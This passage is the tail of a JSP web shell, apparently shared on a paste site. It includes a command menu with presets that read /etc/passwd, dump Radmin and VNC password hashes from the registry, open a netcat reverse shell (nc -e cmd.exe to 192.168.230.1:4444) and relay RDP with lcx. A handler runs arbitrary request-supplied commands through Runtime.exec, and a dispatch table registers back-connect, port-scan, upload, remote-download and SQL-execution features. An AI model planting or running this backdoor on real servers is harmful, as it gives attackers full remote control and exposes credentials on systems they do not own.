  2181. " <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
  2182. " <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
  2183. " <option value=\"\" selected> </option>"+
  2184. " <option value=\"uname -a\">uname -a</option>"+
  2185. " <option value=\"cat /etc/issue\">issue</option>"+
  2186. " <option value=\"cat /etc/passwd\">passwd</option>"+
  2187. " <option value=\"netstat -an\">netstat -an</option>"+
  2188. " <option value=\"net user\">net user</option>"+
  2189. " <option value=\"tasklist\">tasklist</option>"+
  2190. " <option value=\"tasklist /svc\">tasklist /svc</option>"+
  2191. " <option value=\"net start\">net start</option>"+
  2192. " <option value=\"net stop policyagent /yes\">net stop</option>"+
  2193. " <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
  2194. " <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
  2195. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
  2196. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
  2197. " <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
  2198. " <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
  2199. " <option value=\"systeminfo\">systeminfo</option>"+
  2200. " <option value=\"net localgroup\">view groups</option>"+
  2201. " <option value=\"net localgroup administrators\">view admins</option>"+
  2202. " </select>"+
  2203. " <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
  2204. " <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
  2205. " </form>"+
  2206. " <iframe style=\"display:none\" name=\"asyn\"></iframe>"
  2207. );
  2208. out.println(" </td>"+
  2209. " </tr>"+
  2210. "</table>");
  2211. } catch (Exception e) {
  2212. e.printStackTrace();
  2213. throw e ;
  2214. }
  2215. }
  2216. }
  2217. private static class OnLineInvoker extends DefaultInvoker {
  2218. public boolean doBefore(){return false;}
  2219. public boolean doAfter(){return false;}
  2220. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2221. try {
  2222. String type = request.getParameter("type");
  2223. if (Util.isEmpty(type))
  2224. return;
  2225. if (type.toLowerCase().equals("start")) {
  2226. String exe = request.getParameter("exe");
  2227. if (Util.isEmpty(exe))
  2228. return;
  2229. Process pro = Runtime.getRuntime().exec(exe);
  2230. ByteArrayOutputStream outs = new ByteArrayOutputStream();
  2231. response.setContentLength(100000000);
  2232. response.setContentType("text/html;charset="+Charset.defaultCharset().name());
  2233. OnLineProcess olp = new OnLineProcess(pro);
  2234. JSession.setAttribute(SHELL_ONLINE,olp);
  2235. new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
  2236. new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2237. new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流。
  2238. Thread.sleep(1000 * 60 * 60 * 24);
  2239. } else if (type.equals("ecmd")) {
  2240. Object o = JSession.getAttribute(SHELL_ONLINE);
  2241. String cmd = request.getParameter("cmd");
  2242. if (Util.isEmpty(cmd))
  2243. return;
  2244. if (o == null)
  2245. return;
  2246. OnLineProcess olp = (OnLineProcess)o;
  2247. olp.setCmd(cmd);
  2248. } else {
  2249. Object o = JSession.getAttribute(SHELL_ONLINE);
  2250. if (o == null)
  2251. return;
  2252. OnLineProcess olp = (OnLineProcess)o;
  2253. olp.stop();
  2254. }
  2255. } catch (Exception e) {
  2256. e.printStackTrace();
  2257. throw e ;
  2258. }
  2259. }
  2260. }
  2261.  
  2262. static{
  2263. ins.put("script",new ScriptInvoker());
  2264. ins.put("before",new BeforeInvoker());
  2265. ins.put("after",new AfterInvoker());
  2266. ins.put("deleteBatch",new DeleteBatchInvoker());
  2267. ins.put("clipboard",new ClipBoardInvoker());
  2268. ins.put("vRemoteControl",new VRemoteControlInvoker());
  2269. ins.put("gc",new GcInvoker());
  2270. ins.put("vPortScan",new VPortScanInvoker());
  2271. ins.put("portScan",new PortScanInvoker());
  2272. ins.put("vConn",new VConnInvoker());
  2273. ins.put("dbc",new DbcInvoker());
  2274. ins.put("executesql",new ExecuteSQLInvoker());
  2275. ins.put("vLogin",new VLoginInvoker());
  2276. ins.put("login",new LoginInvoker());
  2277. ins.put("filelist", new FileListInvoker());
  2278. ins.put("logout",new LogoutInvoker());
  2279. ins.put("upload",new UploadInvoker());
  2280. ins.put("copy",new CopyInvoker());
  2281. ins.put("bottom",new BottomInvoker());
  2282. ins.put("vCreateFile",new VCreateFileInvoker());
  2283. ins.put("vEdit",new VEditInvoker());
  2284. ins.put("createFile",new CreateFileInvoker());
  2285. ins.put("vEditProperty",new VEditPropertyInvoker());
  2286. ins.put("editProperty",new EditPropertyInvoker());
  2287. ins.put("vs",new VsInvoker());
  2288. ins.put("shell",new ShellInvoker());
  2289. ins.put("down",new DownInvoker());
  2290. ins.put("vd",new VdInvoker());
  2291. ins.put("downRemote",new DownRemoteInvoker());
  2292. ins.put("index",new IndexInvoker());
  2293. ins.put("mkdir",new MkDirInvoker());
  2294. ins.put("move",new MoveInvoker());
  2295. ins.put("removedir",new RemoteDirInvoker());
  2296. ins.put("packBatch",new PackBatchInvoker());
  2297. ins.put("pack",new PackInvoker());
  2298. ins.put("unpack",new UnPackInvoker());
  2299. ins.put("vmp",new VmpInvoker());
  2300. ins.put("vbc",new VbcInvoker());
  2301. ins.put("backConnect",new BackConnectInvoker());
  2302. ins.put("jspEnv",new JspEnvInvoker());
  2303. ins.put("smp",new SmpInvoker());
  2304. ins.put("mapPort",new MapPortInvoker());
  2305. ins.put("top",new TopInvoker());
  2306. ins.put("vso",new VOnLineShellInvoker());
  2307. ins.put("online",new OnLineInvoker());
  2308. }
  2309. %>
  2310. <%
  2311. try {
  2312. String o = request.getParameter("o");
  2313. if (!Util.isEmpty(o)) {
  2314. Invoker in = ins.get(o);
  2315. if (in == null) {
  2316. response.sendRedirect(SHELL_NAME+"?o=index");
  2317. } else {
  2318. if (in.doBefore()) {
  2319. String path = request.getParameter("folder");
  2320. if (!Util.isEmpty(path))
  2321. session.setAttribute(CURRENT_DIR,path);
  2322. ins.get("before").invoke(request,response,session);
  2323. ins.get("script").invoke(request,response,session);
  2324. ins.get("top").invoke(request,response,session);
  2325. }
  2326. in.invoke(request,response,session);
  2327. if (!in.doAfter()) {
  2328. return;
  2329. }else{
  2330. ins.get("bottom").invoke(request,response,session);
  2331. ins.get("after").invoke(request,response,session);
  2332. }
  2333. }
  2334. } else {
  2335. response.sendRedirect(SHELL_NAME+"?o=index");
  2336. }
  2337. } catch (Exception e) {
  2338. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  2339. e.printStackTrace(new PrintStream(bout));
  2340. session.setAttribute(CURRENT_DIR,SHELL_DIR);
  2341. Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","<br/>"),"left");
  2342. bout.close();
  2343. out.flush();
  2344. ins.get("bottom").invoke(request,response,session);
  2345. ins.get("after").invoke(request,response,session);
  2346. }
  2347. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement